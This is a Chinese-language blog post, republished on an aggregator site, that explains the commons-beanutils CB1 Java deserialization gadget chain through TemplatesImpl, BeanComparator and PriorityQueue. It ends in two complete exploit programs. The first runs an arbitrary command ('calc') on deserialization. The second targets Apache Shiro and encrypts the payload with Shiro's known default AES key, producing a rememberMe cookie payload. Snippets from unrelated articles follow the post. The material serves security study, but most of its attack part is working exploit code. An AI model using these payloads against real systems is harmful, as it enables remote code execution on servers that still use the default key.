【Web】Java反序列化之CB1链花样调TemplatesImpl打Shiro

目录

关于commons-beanutils

关于PropertyUtils.getProperty

TemplatesImpl实例化类的调用链路

TemplatesImpl#getOutputProperties竟是getter方法

接轨TemplatesImpl链的关键类——BeanComparator

exp

无依赖的Shiro反序列化利用链


关于commons-beanutils

Apache Commons BeanUtils 是 Apache 软件基金会下的一个开源项目,提供了一组工具方法,用于简化 Java 对象(Bean aka POJO)之间的属性拷贝、类型转换等操作。

关于PropertyUtils.getProperty

PropertyUtils.getProperty 是 Apache Commons BeanUtils 提供的一个方法,用于获取 JavaBean 对象的属性值。该方法会自动去调用一个JavaBean的getter方法。

代码示例:

import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;public class Main {public static void main(String[] args) {// 创建一个示例对象Person person = new Person("Alice", 25);try {// 获取属性值String name = (String) PropertyUtils.getProperty(person, "name");int age = (int) PropertyUtils.getProperty(person, "age");System.out.println("Name: " + name);System.out.println("Age: " + age);} catch (IllegalAccessException | InvocationTargetException | NoSuchMethodException e) {e.printStackTrace();}}
}class Person {private String name;private int age;public Person(String name, int age) {this.name = name;this.age = age;}// 省略 getter 和 setter 方法
}

TemplatesImpl实例化类的调用链路

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

我们的最终目的是走到defineClass这一步,但只要可以调用这条链上的任一方法就可以触发连锁反应,最后达成目的

而CB1链,正是通过getOutputProperties的调用来完成攻击的

TemplatesImpl#getOutputProperties竟是getter方法

意料之外,情理之中

outputProperties是一个私有属性

private Properties _outputProperties;

 重写了getter方法

public synchronized Properties getOutputProperties() {try {return newTransformer().getOutputProperties();}catch (TransformerConfigurationException e) {return null;}}

算是一个比较抽象的bean(

接轨TemplatesImpl链的关键类——BeanComparator

反序列化的入口类是PriorityQueue,其readObject方法最终会调用传入comparator的compare方法(具体分析可以看文章一开始贴的链接)

下面我们来看BeanComparator的compare方法

public int compare(T o1, T o2) {if (this.property == null) {return this.internalCompare(o1, o2);} else {try {Object value1 = PropertyUtils.getProperty(o1, this.property);Object value2 = PropertyUtils.getProperty(o2, this.property);return this.internalCompare(value1, value2);} catch (IllegalAccessException var5) {throw new RuntimeException("IllegalAccessException: " + var5.toString());} catch (InvocationTargetException var6) {throw new RuntimeException("InvocationTargetException: " + var6.toString());} catch (NoSuchMethodException var7) {throw new RuntimeException("NoSuchMethodException: " + var7.toString());}}}

如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取传入的两个对象的 this.property 属性,而this.property是在BeanComparator的构造方法处传入的(也可以用反射来操作),完全可控

 public BeanComparator(String property) {this(property, ComparableComparator.getInstance());}

当o1/o2是一个 TemplatesImpl 对象时,property 的值为 outputProperties 时,我们就可调用TemplatesImpl#getOutputProperties(),完成攻击链的调用

观察PriorityQueue的构造方法

public PriorityQueue(int initialCapacity,Comparator<? super E> comparator) {// Note: This restriction of at least one is not actually needed,// but continues for 1.5 compatibilityif (initialCapacity < 1)throw new IllegalArgumentException();this.queue = new Object[initialCapacity];this.comparator = comparator;}

我们可以用反射操作PriorityQueue的queue属性为TemplatesImpl 对象的方式来实现目的。

exp

这里用的是javassist来获取字节码

<dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.29.2-GA</version>
</dependency>

召唤计算器的神奇咒语:

package com.CB1;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class CB1 {public static void setFieldValue(Object obj, String filedname, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(filedname);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool = ClassPool.getDefault();classPool.appendClassPath(AbstractTranslet);CtClass payload = classPool.makeClass("CB1");payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");byte[] bytes = payload.toBytecode();Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();setFieldValue(templates, "_bytecodes", new byte[][]{bytes});setFieldValue(templates, "_name", "test");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator();final PriorityQueue queue = new java.util.PriorityQueue<Object>(2, comparator);queue.add(1);queue.add(1);setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{templates, templates});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}

无依赖的Shiro反序列化利用链

Shiro中默认依赖了commons-beanutils

调用BeanComparator的无参构造时,会默认使用ComparableComparator.getInstance()

public BeanComparator() {this((String)null);}public BeanComparator(String property) {this(property, ComparableComparator.getInstance());}public BeanComparator(String property, Comparator comparator) {this.setProperty(property);if (comparator != null) {this.comparator = comparator;} else {this.comparator = ComparableComparator.getInstance();}}

但Shiro的默认依赖里面没有 org.apache.commons.collections.comparators.ComparableComparator 我们需要找到平替

需要满足如下条件:

  • 实现 java.io.Serializable 接口

  • 实现 java.util.Comparator 接口

  • 最好是java或shiro自带的

找到了CaseInsensitiveComparator 这个类是java.lang.String下的内部私有类 我们通过String.CASE_INSENSITIVE_ORDER来获取

public static final Comparator<String> CASE_INSENSITIVE_ORDER= new CaseInsensitiveComparator();

最终exp

public class CB1 {public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {Class clazz = obj.getClass();Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, newValue);}public static void main(String[] args) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes",new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);PriorityQueue pq = new PriorityQueue(comparator);setFieldValue(pq, "size", 2);setFieldValue(comparator, "property", "outputProperties");setFieldValue(pq, "queue", new Object[]{obj, obj});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(pq);oos.close();
//        System.out.println(barr);
//        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
//        Object o = (Object)ois.readObject();AesCipherService aes = new AesCipherService();byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);System.out.printf(ciphertext.toString());}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/721229.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue3 中使用 TinyMCE 富文本编辑器

1. TinyMCE 官方网站地址&#xff08;可能需要魔法上网才能访问&#xff09; 我们直接找到 TinyMCE 关于 vue 的下载地址&#xff0c;其他框架的下载也在这里 2. 向下找&#xff0c;找到关于vue3下载的地方 下载命令 npm install --save "tinymce/tinymce-vue^5" 例…

Linux 模拟实现shell【简单实现】

shell的模拟实现 我们知道shell是一个永不退出的程序&#xff0c;所以他应该是一个死循环&#xff0c;并且shell为了防止影响到自己&#xff0c;我们在命令行上输入的所有命令都是由shell的子进程来执行的&#xff0c;所以它应该要有创建子进程的相关函数&#xff0c;当然也会…

loadrunner lr解决参数化一次取多条记录【一对多问题】

场景&#xff1a;批量进行工作汇报&#xff0c;一个项目下选择三个工作项进行汇报&#xff1b; 问题&#xff1a;项目GUID变化一次&#xff0c;工作项GUID要取三个值&#xff0c;也就是变化三次&#xff1b; 我们知道&#xff0c;在Parameter List中可以设置参数取值规则&…

Tomcat(二) 动静分离

一、(TomcatNginx)动静分离 1、单机反向代理 利用 nginx 反向代理实现全部转发至指定同一个虚拟主机 客户端curl www.a.com 访问nginx服务&#xff0c;nginx服务通过配置反向代理proxy_pass www.a.com:8080&#xff0c;最终客户端看到的是www.a.com 实验中&#xff1a;7-3 做客…

vue3中使用ref

<template> <div> <el-col :span"24"> <el-form-item label"所属单位" prop"enterpriseId"> <el-select v-model"serviceForm.enterpri…

#QT(智能家居界面-界面切换)

1.IDE&#xff1a;QTCreator 2.实验 3.记录 &#xff08;1&#xff09;创建一个新界面&#xff08;UI界面&#xff09; &#xff08;2&#xff09;可以看到新加入一个ui文件&#xff0c;双击打开&#xff0c;设置窗口大小与登录界面一致 &#xff08;3&#xff09;加入几个PUS…

python 基础知识点(蓝桥杯python科目个人复习计划58)

今日复习内容&#xff1a;做题 例题1&#xff1a;仙境诅咒 问题描述&#xff1a; 在一片神秘的仙境中&#xff0c;有N位修仙者&#xff0c;他们各自在仙境中独立修炼&#xff0c;拥有他们独特的修炼之地和修炼之道&#xff0c;修炼者们彼此之间相互尊重&#xff0c;和平相处…

linux tar.xz 压缩与解压

解压tar.xz 一、解压解tar.xz文件有两种方法&#xff0c;以php-7.2.0.tar.xz为例。 方法1&#xff1a; # xz -d php-7.2.0.tar.xz #ls #php-7.2.0.tar #tar -xvf php-7.2.0.tar -C /usr/local/方法2: tar xvJf php-7.2.0.tar.xz -C /usr/local/ 1 上面两种方法如果不加-C参数…

P-States/C-States/S-States/G-States/D-States

P-States是指处理器的性能状态&#xff0c;可以根据需要调整处理器的工作频率和电压来平衡性能和能效。 S-States是指系统的睡眠状态&#xff0c;可以让系统在空闲时进入低功耗状态以节省能量。 G-States是系统的全局状态&#xff0c;通常用于描述整个系统的运行状态。 C-St…

用ChatGPT计算植被归一化指数NDVI并出图的详细教程

用ChatGPT结合GIS计算植被归一化指数NDVI出图教程 用ENVI计算比较繁琐&#xff0c;如今AI的盛行&#xff0c;我们可以轻松解决计算问题&#xff0c;只需1一分钟变可以出图。 详细教学请看上方视频步骤。 更多ChatGPT教学内容请见&#xff1a;ChatGPT结合GIS&#xff1a;一分钟…

如何在Vue中进行单元测试?

前端开发中&#xff0c;单元测试是一个非常重要的环节&#xff0c;它可以帮助我们在开发过程中发现潜在的问题&#xff0c;并确保我们的代码在不断迭代的过程中依然能够保持稳定。在Vue中进行单元测试同样非常重要&#xff0c;本文将介绍如何在Vue项目中进行单元测试。 在Vue中…

JS 将一个字符串进行逐字显示的方法汇总

毋庸置疑&#xff0c;现在chatGTP是非常火热的&#xff0c;在这个时候公司项目中提到了AI智能对话UI显示界面模仿chatGTP的UI一样&#xff0c;显示答案不能一蹴而就&#xff0c;而要逐字逐字显示。至此&#xff0c;我先学习一个JS版本的。 使用setTimeout()函数和for循环&…

Qt::TabWidget

在Tab的右上角添加控件 QPushButton *add new QPushButton; add->setText(""); add->resize(30,30); ui->tabWidget->setCornerWidget(add,Qt::TopRightCorner); 结果&#xff1a; Tab添加子页 QWidget*newp new QWidget; ui->tabWidget->add…

【脑切片图像分割】MATLAB 图像处理 源码

1. 简单图像处理 加载图像 Brain.jpg&#xff0c;使用直方图和颜色分割成区域这些区域有不同的颜色。 这是一个更高级的问题&#xff0c;有多个解决它的方法。 例如&#xff0c;您可以计算具有特定数字的图像的直方图&#xff08;例如 16 - 32&#xff09;&#xff0c;找到直方…

蜂窝物联:智慧生态茶园建设方案

一、项目背景 为了进一步提高茶产业集约化、产业化发展水平&#xff0c;充分运用物联网、互联网等高新技术为产业赋能&#xff0c;加速推动安溪茶产业转型升级&#xff0c;县政府决定在安溪县推进“安溪智慧生态茶园项目”&#xff0c;并以茶叶重镇感德镇实施“安溪智慧生态茶…

分享一本好书《大模型应用开发极简入门:基于GPT-4和ChatGPT》

如果问个问题&#xff1a;有哪些产品曾经创造了伟大的奇迹&#xff1f;ChatGPT 应该会当之无愧入选。仅仅发布 5 天&#xff0c;ChatGPT 就吸引了 100 万用户——当然&#xff0c;数据不是关键&#xff0c;关键是其背后的技术开启了新的 AI 狂潮&#xff0c;成为技术变革的点火…

Python知识汇总

重要链接&#xff1a; matplotlib库&#xff1a;matplotlib — Matplotlib 3.5.1 documentation DataFrame库&#xff1a;DataFrame — pandas 2.2.1 documentation (pydata.org) Python Matplotlib 实现散点图、曲线图、箱状图、柱状图示例&#xff1a;Python Matplotlib 实…

深度学习预测分析API:金融领域的Game Changer

&#x1f680; 引言 在这个AI遍地开花的时代&#xff0c;谁能成为金融领域的真正Game Changer&#xff1f;那必然是是深度学习预测分析API。如大脑般高效运转的系统不仅颠覆了传统操作&#xff0c;更是以无与伦比的速度和精度赋予了金融数据以全新的生命。 &#x1f4bc; 广泛…

SQL教学: MySQL进阶操作详解--探索DML语句的高级用法

欢迎回到我们的SQL-DML语句教学系列。在之前的文章中&#xff0c;我们已经学习了如何使用DDL语句来定义和修改数据库的结构&#xff0c;以及如何使用DML语句进行基本的“增删改查”操作。今天&#xff0c;我们将进一步提升技能&#xff0c;探讨DML语句的高级用法&#xff0c;包…

uniapp制作--进步器的选择

介绍&#xff1a; 进步器的选择,一般用于商城购物选择物品数量的场景 注意&#xff1a;该输入框只能输入大于或等于0的整数 效果展示&#xff1a; 代码展示&#xff1a; 以下是一个简单的购物车页面示例&#xff0c;包括选择商品和显示数量的功能&#xff1a; 在这个示例中…